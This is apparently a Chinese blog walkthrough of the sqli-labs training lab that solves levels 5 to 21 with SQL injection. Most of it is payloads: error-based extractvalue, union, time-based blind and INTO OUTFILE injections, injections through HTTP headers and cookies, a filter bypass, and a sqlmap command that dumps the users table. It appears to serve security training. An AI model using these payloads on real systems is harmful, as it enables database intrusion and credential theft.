Sql-lab全解_sqllab,给后辈的一点建议

简介: Sql-lab全解_sqllab,给后辈的一点建议

?id=1’ and extractvalue(1,concat(0x7e,(select database())))–+

引起报错的是0x7e这里也就是~符号,这里回显会执行后面的select语句同时以报错的方式回显

表名:?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+

表列:?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)))–+

结果:?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))–+

第六题

判断闭合方式为"这里和上一题一样没有回显但是报错有回显同样使用报错注入

表名:?id=1“ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+

表列:?id=1” and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)))–+

结果:?id=1“ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))–+

第七题

这里提示使用outfile,判断闭合方式为’))

select 1,2,database() into outfile  “C:\Users\19871\Desktop\phpStudy_64\WWW\sqli-labs-master\Less-7\test.txt”–+

红色标记的地方为靶机该题的保存位置其他和联合注入语句没有区别

?id=1’)) union select 1,2,group_concat(username,password) from security.users into outfile “文件位置”–+

第八题

使用万用测试闭合方式发现闭合方式为’这里没有明显的回显排除union注入,也无报错注入,这里使用盲注,使用时间盲注测试

?id=1’ and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))–+

这里返回的时间趋近于5秒而注入语句如果databse()所查到的数据库名称第一个字符如果ascii大于0则执行sleep(5)所以这个返回延迟5秒说明存在时间注入

盲注的手动注入耗时极大,所以这里推荐使用sqlmap辅助注入

真是太太太太方便了,这里语句为

python sqlmap.py -u 127.0.0.1/sqli-labs-master/Less-8/?id=1’–+ -D security -T users --dump

第九题

和上一题同理只是改变了闭合方式这里就不再复述

?id=1’ and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))–+

第十题

这里和前面的盲注也是一样使用时间盲注,区别在于判断闭合方式

通过查看源码得到闭合方式为"

?id=1" and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))–+

第十一题

这里是post注入,建议先分析源码

这里推荐在password注入,因为会判断密码和账户的正确性,正确才会回显,如果这里在username注入则会比较麻烦

经过测试这里

回显位为2位

-1’ union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

得到数据库名称,和当前表名称

-1’ union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’#

得到表列

-1’ union select database(),group_concat(username,password) from security.users#

得到数据

第十二题

这里也是直接看源码进行分析

改变闭合方式其他的和第十一题没有区别

-1") union select database(),group_concat(username,password) from security.users#

第十三题

-1’) union select database(),group_concat(username,password) from security.users#

发现没有回显了

这里尝试报错注入

-1’) and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#

第十四题

同样没有回显,使用报错注入

-1" and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#

第十五题

这里和上面的有些不同,这里报错没有回显了,所以在这里采用post盲注

admin’ and if(ascii(concat(database()))>0,sleep(5),sleep(10))#

存在注入后续可以使用sqlmap辅助注入,盲注工作量太大了

第十六题

这里测试也是没有回显使用盲注,查看源码发现闭合方式为")

使用语句admin“) and if(ascii(concat(database()))>0,sleep(5),sleep(10))#

第十七题

观察源码发现uname被过滤所以不可能在这里注入

这里uname被过滤了直接在passwd注入

这里看到注入语句前面是updata采用报错注入

’ or extractvalue(1,concat(0x7e,(database())))#

最后爆出数据表的时候会报一个错误

这里是数据库做了一个限制不允许读users表可以使用别名绕过

’ or extractvalue(1,(select concat(0x7e,(select group_concat(username,password) from (select username,password from users)a))))#

将users表中的数据username和password存到一个别名为a的表中,这个时候就绕过了

第十八题

这里观察源码发现username和passowrd都被过滤但是这里有两个uagent和ip没有被过滤,和上一题一样使用报错注入

1’,1,extractvalue(1,concat(0x7e,(select database()),0x7e)))#

修改红色区域可以得到数据表,这里需要注意如果是闭合整个values后面记得在#前面多加一个)两个小时血的教训


第十九题

和前一道题没什么区别注意一下最后加一个)这个抓包注入语句写在referer

第二十题

这里看源代码发现可以在cookie注入并且这里并没有对cooki e进行任何过滤

先用bp抓包看一下

post包里面没有发现cookie接着抓

构造playload

admin’ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#

第二十一题

这里看源码

可以看到和上一题没什么区别改变playload的闭合就可以

然后就会遇到这样的问题

直接翻车,这里看到报错是一些乱码考虑可能是进行编码了,这里查看源码


相关文章
|
30天前
|
SQL 数据库 数据安全/隐私保护
【操作宝典】SQL巨擘:掌握SQL Server Management的终极秘籍!
【操作宝典】SQL巨擘:掌握SQL Server Management的终极秘籍!
64 0
|
30天前
|
SQL 数据可视化 Oracle
这篇文章教会你:从 SQL Server 移植到 DM(上)
这篇文章教会你:从 SQL Server 移植到 DM(上)
|
30天前
|
SQL 关系型数据库 数据库
SQL Server语法基础:入门到精通
SQL Server语法基础:入门到精通
SQL Server语法基础:入门到精通
|
30天前
|
SQL 数据管理 数据库
【安装指南】从零开始:SQL Server 2019与SSMS完美安装攻略!
【安装指南】从零开始:SQL Server 2019与SSMS完美安装攻略!
69 0
|
SQL API 数据库
数据库原理与应用(SQL Server)笔记 第十一章 游标
数据库原理与应用(SQL Server)笔记 第十一章 游标
数据库原理与应用(SQL Server)笔记 第十一章 游标
|
SQL 存储 数据库
|
SQL 开发工具 数据库

热门文章

最新文章